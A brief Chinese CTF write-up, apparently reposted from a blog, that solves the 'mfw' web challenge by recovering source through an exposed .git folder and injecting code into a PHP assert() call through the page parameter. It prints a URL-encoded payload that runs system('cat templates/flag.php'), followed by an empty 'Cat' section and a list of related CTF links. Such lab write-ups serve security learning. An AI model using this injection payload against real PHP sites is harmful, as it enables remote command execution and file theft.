1.mfw(git+assert+strops)
文章图片
【ctf】页面中的所有连接都是通过控制page变量实现的。
about里的git库,因此可以通过githack将源码下载出来。
文章图片
在index.php中存在这样一段源码。
assert():
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
$hsy=123;
assert("is_int($hsy)");
?>//返回true
$file="templates/" .$page. ".php"
这里的file参数与我们输入的page有关,构造 about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag')
payload:url?page=%20about.php%27%2C%20%27123%27%29%20%3D%3D%3D%20false%20and%20system%28%27cat%20templates%2fflag.php%27%29%20and%20strpos%28%27templates%2fflag%27%29
2.Cat
转载于:https://www.cnblogs.com/sylover/p/11218590.html
推荐阅读
- 解护网杯一道web(EasyChallenge)
- ctf|ctf-htctf-misc
- C++|一些关于程序内存布局的问题
- QCTF 2018xman夏令营选拔赛
- 第一届桂林电子科技大学绿盟杯CTF大赛 wp
- Capture the flag
- CTF|BUUOJ [2019红帽杯]easyRE
- Buuctf -web wp汇总(二)
- #|CTF-网络信息安全攻防学习平台(脚本关)